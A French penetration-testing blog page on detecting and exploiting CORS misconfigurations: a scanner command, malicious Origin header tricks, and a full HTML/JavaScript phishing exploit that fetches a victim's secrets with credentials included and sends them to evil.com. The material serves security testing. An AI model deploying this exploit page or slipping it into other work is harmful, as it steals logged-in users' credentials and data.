> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-web/sop-bypass/cors.md).

# CORS

## CORScanner

CORScanner est un scanner de faille CORS (Cross Origin Resource Sharing).

Exemple d'utilisation:

*`$ python cors-scanner.py -u https://target.com/`*

ressource: <https://github.com/chenjj/CORScanner>

## Manuel

### Origin aléatoire

Header Requête:

Origin: <http://evil.com>

Regarder dans la réponse si l'url est acceptée.

Header Réponse:

Access-Control-Allow-Origin: <http://evil.com>

### Origin null

Header requête:

Origin: null

Regarder si une origine "null" est acceptée.

Header réponse:

Access-Control-Allow-Origin: null

### Origin commençant par nom de sous-domaine de la cible&#x20;

Header requête:

Origin: sub.target.com.evil.com

Header réponse:

Access-Control-Allow-Origin: sub.target.com.evil.com

### Origin finissant par nom de sous-domaine de la cible

Header requête:

Origin: eviltarget.com

Origin: evil-target.com

Header réponse:

Access-Control-Allow-Origin: eviltarget.com ou evil-target.com

#### Exemple de phishing utilisant une mauvaise configuration de CORS:

Création d'un exploit pour voler les identifiants d'un utilisateur stocké dans <http://target.com/secrets>.

Contenu de la page <http://evil.com/exploit>:

```html
<!DOCTYPE html>
<html>
  <body>
    <script>
      fetch("https://target.xyz/secret", {
        method: "GET",
        credentials: "include", // necessary to trigger Access-Control-Allow-Credentials
        headers: {
          "Content-Type": "application/x-www-form-urlencoded"
        },
      })
      .then(res => res.text())
      .then(data => {
        // Send result back to attacker
        fetch("https://evil.com/log?data=" + encodeURIComponent(data));
      })
      .catch(err => {
        console.error("Error:", err);
      });
    </script>
  </body>
</html>
```

On envoie ensuite le lien (<http://evil.com/exploit>) à l'utilisateur qui si il clique dessus vas permettre de le forcer à se rendre sur <https://target.com/secrets> et récupérer ses identifiants pour les afficher dans les logs de evil.com (<http://evil.com/log?key=\\>\<données de la page [https://target.com/secrets>](https://target.com/secrets>)).
